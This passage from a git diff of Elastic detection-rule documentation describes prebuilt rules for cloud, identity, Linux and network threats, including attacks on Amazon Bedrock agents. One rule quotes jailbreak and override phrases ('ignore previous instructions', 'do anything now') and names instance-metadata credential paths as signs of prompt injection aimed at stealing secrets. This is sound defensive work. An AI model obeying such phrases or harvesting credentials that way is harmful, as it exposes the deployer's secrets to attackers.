TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. | update | 4 + +|<> | Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. | update | 4 + +|<> | Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. | update | 221 + +|<> | Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. | update | 2 + +|<> | Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. | update | 5 + +|<> | Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. | update | 111 + +|<> | Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. | update | 2 + +|<> | Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and device naming conventions before relying on it. | update | 2 + +|<> | Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. | update | 2 + +|<> | Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. | update | 110 + +|<> | Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. | update | 2 + +|<> | Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. | update | 110 + +|<> | Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. | update | 112 + +|<> | Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. | update | 214 + +|<> | Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. | update | 10 + +|<> | Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. | update | 212 + +|<> | Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. | update | 113 + +|<> | Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. | update | 213 + +|<> | Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. | update | 212 + +|<> | Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. | update | 212 + +|<> | Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. | update | 5 + +|<> | Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. | update | 6 + +|<> | Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. | update | 9 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 6 + +|<> | This rule detects shell executions via Elastic Endpoint. Elastic Endpoint has a built-in response action console that can be used to execute shell commands on compromised systems. | update | 2 + +|<> | This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. | update | 3 + +|<> | This rule detects when a payload is downloaded by an interpreter, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data. | update | 2 + +|<> | This rule monitors for the execution of the xdg-open process that is typically used to open documents and URLs in the user's preferred desktop application. Attackers may use this command to trick users into opening malicious documents or URLs to gain access to the target system. | update | 2 + +|<> | Identifies suspicious child processes executed via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. | update | 117 + +|<> | Identifies suspicious command executions via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. | update | 3 + +|<> | This rule leverages the "new_terms" rule type to detect unusual child process executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical child process executions. As child process spawns from web server parent processes are common, the "new_terms" rule type approach helps identify deviations from normal behavior. | update | 3 + +|<> | This rule leverages the "new_terms" rule type to detect unusual command executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical command executions. As command execution from web server parent processes is common, the "new_terms" rule type approach helps to identify deviations from normal behavior. | update | 6 + +|<> | Identifies process execution events where the effective user is root while the real user is not, the process arguments include the privileged shell flag commonly associated with setuid-capable shells, and the executable path is outside standard system binary directories. That combination is consistent with abuse of setuid shells or similar helpers copied or linked into writable locations, a pattern used to regain a root context after local exploitation. | update | 2 + +|<> | Detects nsenter executions that target PID with a namespace target flag, a pattern commonly used to attach to the host init namespace from a container or session and run with host context. | update | 2 + +|<> | Detects chroot execution on Linux when the process appears to run in a container-oriented context: the process title matches runc init, the entry leader is a container workload, or the parent process is runc. Chroot from inside a container can pivot to an alternate root filesystem and is a common step in container breakout attempts when combined with sensitive host mounts. | update | 2 + +|<> | Detects suspicious creation of the nsswitch.conf file, outside of the regular /etc/nsswitch.conf path, consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. | update | 4 + +|<> | Detects suspicious use of sudo's --chroot / -R option consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. | update | 4 + +|<> | This rule looks for processes that behave like an attacker trying to exploit a known vulnerability in VMware tools (CVE-2025-41244). The vulnerable behavior involves the VMware tools service or its discovery scripts executing other programs to probe their version strings. An attacker can place a malicious program in a writable location (for example /tmp) and have the tools execute it with elevated privileges, resulting in local privilege escalation. The rule flags launches where vmtoolsd or the service discovery scripts start other child processes. | update | 4 + +|<> | Detects potential privilege escalation under the root effective user when the real user and parent user are not root, indicative of the execution of binaries with SUID or SGID bits set. | update | 2 + +|<> | Identifies instances where a process is executed with user/group ID 0 (root), and a real user/group ID that is not 0. This is indicative of a process that has been granted SUID/SGID permissions, allowing it to run with elevated privileges. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root, or establish a backdoor for persistence. | update | 113 + +|<> | Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. | update | 4 + +|<> | Identifies the creation of a sudo binary located at /usr/bin/sudo. Attackers may hijack the default sudo binary and replace it with a custom binary or script that can read the user's password in clear text to escalate privileges or enable persistence onto the system every time the sudo binary is executed. | update | 113 + +|<> | Detects execution of SUID binaries that may be used for privilege escalation under the root effective user when the real user and parent user are not root, combined with minimal argument counts and suspicious parent context (interpreters, short shell -c invocations, or parents running from user-writable paths) to indicate potential misuse of SUID binaries for privilege escalation. | update | 3 + +|<> | Identifies instances where a process (granted CAP_SETUID and/or CAP_SETGID capabilities) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SETUID and CAP_SETGID capabilities allow a process to change its UID and GID, respectively, providing control over user and group identity management. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root. | update | 11 + +|<> | Identifies suspicious usage of unshare to manipulate system namespaces. Unshare can be utilized to escalate privileges or escape container security boundaries. Threat actors have utilized this binary to allow themselves to escape to the host and access other resources or escalate privileges. | update | 117 + +|<> | This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. | update | 116 + +|<> | Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. | update | 111 + +|<> | This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. | update | 112 + +|<> | Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. | update | 109 + +|<> | Identifies the network signature of CVE-2026-41940, a pre-auth root-level authentication bypass in cPanel and WebHost Manager (WHM) caused by a CRLF injection in the session writer. The exploit-inherent shape on the wire is a "GET /" request to a cPanel/WHM admin port (typically TCP/2087, 2086, 2083, 2082, 2095, 2096) carrying an "Authorization: Basic" header whose base64-decoded value contains CRLF-injected session fields, which causes cpsrvd to respond with a 3xx redirect whose "Location" header leaks a "/cpsessNNNNNNNNNN" token granting the attacker a privileged session. This is the network-layer equivalent of the cPanel "access_log" artifact identified by Unfold and watchTowr as the first bulletproof detection for this CVE: a "GET /" recorded with "auth_method=b" (HTTP Basic). Legitimate access to "GET /" on a WHM admin port returns 200 with the login screen and never includes HTTP Basic credentials, so this combination is not produced by normal use. | update | 3 + +|<> | Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. | update | 109 + +|<> | Identifies suspicious file rename operation by the virtual System process. This may indicate a remote ransomware attack via the SMB protocol. | update | 9 + +|<> | Identifies the creation of a file with a name similar to ransomware note files by the Windows System process (PID 4). This may indicate a remote ransomware attack via the SMB protocol. | update | 9 + +|============================================== diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc index 90b8eea614..c672d0cd2b 100644 --- a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc +++ b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc @@ -13,6 +13,10 @@ For previous rule updates, please navigate to the https://www.elastic.co/guide/e |Update version |Date | New rules | Updated rules | Notes +|<> | 22 Jul 2026 | 55 | 95 | +This release includes new rules for Linux, AWS, GCP, Windows, Azure, and Microsoft 365. New rules for Linux include detection for persistence. New rules for AWS include detection for defense evasion, impact, privilege escalation, credential access, and initial access. New rules for GCP include detection for privilege escalation, persistence, credential access, initial access, execution, impact, and discovery. New rules for Windows include detection for execution. New rules for Azure include detection for initial access, persistence, defense evasion, credential access, execution, and lateral movement. New rules for Microsoft 365 include detection for initial access. Additionally, significant tuning for Linux, Windows, macOS, AWS, GCP, Azure, and network rules improves efficacy and performance. + + |<> | 07 Jul 2026 | 55 | 22 | This release includes new rules for Linux, AWS, GCP, Windows, Azure, Network Traffic, and Elastic Defend. New rules for Linux include detection for command and control, privilege escalation, execution, discovery, persistence, and defense evasion. New rules for AWS include detection for impact, persistence, execution, privilege escalation, defense evasion, initial access, and exfiltration. New rules for GCP include detection for privilege escalation, credential access, persistence, discovery, and execution. New rules for Windows include detection for command and control, exfiltration, credential access, and initial access. New rules for Azure include detection for persistence and initial access. New rules for Network Traffic include detection for initial access, credential access, discovery, command and control, and impact. New rules for Elastic Defend include detection for defense evasion. Additionally, significant tuning for Linux, Windows, macOS, Kubernetes, Microsoft 365, and network rules improves efficacy and performance. @@ -148,3 +152,4 @@ include::downloadable-packages/8-19-24/prebuilt-rules-8-19-24-summary.asciidoc[l include::downloadable-packages/8-19-25/prebuilt-rules-8-19-25-summary.asciidoc[leveloffset=+1] include::downloadable-packages/8-19-26/prebuilt-rules-8-19-26-summary.asciidoc[leveloffset=+1] include::downloadable-packages/8-19-27/prebuilt-rules-8-19-27-summary.asciidoc[leveloffset=+1] +include::downloadable-packages/8-19-28/prebuilt-rules-8-19-28-summary.asciidoc[leveloffset=+1] diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc index 47bf816a75..4f9219e82c 100644 --- a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc +++ b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc @@ -22,16 +22,30 @@ and their rule type is `machine_learning`. |<> |This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |107 +|<> |Detects the closure of an AWS account via the CloseAccount API. This can be called either by the account itself (account.amazonaws.com, self-service closure) or by an AWS Organizations management account against one of its member accounts (organizations.amazonaws.com). Account closure triggers a 90-day grace period during which the account is suspended before permanent termination, and is one of the most destructive and disruptive actions available in AWS. It removes access to all resources and data in the account for the duration of the suspension. An adversary with root-level access in a member account, or management-level access to an organization, may close accounts to destroy evidence, disrupt business operations, or eliminate compute and data resources. A malicious insider could use the same action for sabotage. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1 + |<> |Detects successful `AssumeRoleWithWebIdentity` where the caller identity is a Kubernetes service account and the source autonomous system organization is present but not `Amazon.com, Inc.` EKS workloads that obtain IAM credentials via IAM Roles for Service Accounts (IRSA) normally reach STS from AWS-managed or AWS-associated networks; the same identity from a clearly external ASN can indicate a stolen or misused projected service-account token being exchanged for IAM credentials off-cluster. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |2 +|<> |Detects any attempt, successful or denied, for a member account to leave an AWS Organization via the LeaveOrganization API. Leaving an organization immediately strips the account of every Service Control Policy (SCP) guardrail the organization enforces, removes it from centralized CloudTrail aggregation, and eliminates the management account's ability to audit or control it going forward. An adversary who has gained root or organization-management-capable access in a member account may use this technique to escape organizational security controls and operate unmonitored. Denied attempts are included because a blocked call is just as strong a signal of intent as a successful one, and is often the only trace left when the account's default permissions correctly prevent the action. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS Organizations], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Impact], [Resources: Investigation Guide] |None |1 + |<> |Identifies deletion of an AWS Backup recovery point via DeleteRecoveryPoint. A recovery point is a stored backup of a protected resource (EBS, RDS, DynamoDB, EFS, S3, and others). Deleting recovery points removes the ability to restore the associated data and is a core anti-recovery technique used in ransomware and data-destruction attacks to ensure victims cannot recover without paying or rebuilding. Routine lifecycle expirations are performed by the AWS Backup service itself; deletion by a non-service principal is rare and should be reviewed. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Backup], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1 |<> |Identifies deletion of an AWS Backup vault or removal of its Vault Lock configuration via DeleteBackupVault or DeleteBackupVaultLockConfiguration. A backup vault stores recovery points, and Vault Lock enforces WORM (write-once, read-many) immutability that prevents recovery points from being deleted before their retention expires. Removing the lock defeats the primary control designed to stop ransomware from destroying backups, and deleting the vault removes the backup container entirely. Both actions are strong anti-recovery signals and are rare in normal operations. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Backup], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 +|<> |Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 + |<> |Identifies AWS Bedrock Agent creation performed directly by an IAM user or the root account. Bedrock Agents are autonomous AI systems that execute multi-step tasks, invoke Lambda action groups to call external APIs, and query knowledge bases. Adversaries with access to an AWS account can create rogue agents configured to exfiltrate data via action group Lambda functions, pivot to other services, or act as a persistent AI-driven command-and-control channel. This rule is scoped to IAMUser and Root identity types — AssumedRole sessions (which represent automated CI/CD pipelines and SSO-federated engineers) are excluded to avoid global false positives from legitimate deployment automation that varies widely across customer environments. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 |<> |Detects modification of deployed Amazon Bedrock agents and their action groups, collaborators, or aliases via the Bedrock Agent control plane. Adversaries with access to an AWS account can tamper with an existing, trusted agent by altering its instructions (UpdateAgent), adding or changing action groups that wire the agent to Lambda functions or APIs (CreateAgentActionGroup, UpdateAgentActionGroup), attaching or modifying collaborators (AssociateAgentCollaborator, UpdateAgentCollaborator), or repointing an alias to a tampered version (CreateAgentAlias, UpdateAgentAlias). A PrepareAgent call is required to make a tampered configuration live. By implanting malicious behavior into an agent that legitimate users continue to invoke, an attacker can maintain durable access through a trusted component. Creation of brand-new agents (CreateAgent) is intentionally excluded as lower-signal activity. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Persistence] |None |1 +|<> |Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + +|<> |Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + +|<> |Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + |<> |Detects deletion or modification of AWS Bedrock Automated Reasoning policies via the DeleteAutomatedReasoningPolicy, UpdateAutomatedReasoningPolicy, or UpdateAutomatedReasoningPolicyAnnotations CloudTrail actions. Automated Reasoning policies are a Bedrock safety and validation control that constrains model outputs against formal rules. An adversary who deletes a policy or alters the policy definition or its annotations weakens an enforced output-validation defense, potentially allowing unsafe or non-compliant model responses to pass unchecked. Benign build, test-workflow, and test-case CRUD operations are intentionally excluded as they have no coherent abuse path. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |1 |<> |Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0015], [Mitre Atlas: T0034] |None |8 @@ -56,6 +70,8 @@ and their rule type is `machine_learning`. |<> |Detects when an AWS Bedrock model invocation logging configuration is deleted or overwritten via the DeleteModelInvocationLoggingConfiguration or PutModelInvocationLoggingConfiguration API calls. Model invocation logging is the source that feeds the logs-aws_bedrock.invocation-* dataset relied upon by all data-plane Bedrock detections. An adversary who has gained access to a Bedrock environment can blind defenders by deleting this configuration, or by using the Put API to redirect logs to an attacker-controlled or non-monitored S3 bucket or CloudWatch log group. Because this single control-plane action can neutralize the entire data-plane detection stack, it is a high-value evasion technique that should be validated against expected administrative change activity. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Log Auditing], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |1 +|<> |Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: Amazon Web Services], [Use Case: Threat Detection], [Mitre Atlas: LLM06], [Resources: Investigation Guide], [Tactic: Credential Access] |None |1 + |<> |Detects creation, modification, or deletion of AWS Bedrock Provisioned Model Throughput via the CreateProvisionedModelThroughput, UpdateProvisionedModelThroughput, and DeleteProvisionedModelThroughput APIs. Provisioned Throughput reserves dedicated, billed model capacity for Amazon Bedrock. An adversary who scales this capacity up can drive large, unauthorized cost (cloud resource/bill hijacking), while deleting reserved throughput can cause denial of service to production workloads that depend on that committed capacity. These control-plane changes should be validated against approved capacity-planning and change-management processes. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Impact] |None |1 |<> |Detects modification or deletion of resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. An adversary may attach a resource policy granting an external or unexpected principal access to a Bedrock resource to establish persistence or enable cross-account access, or may delete an existing policy to 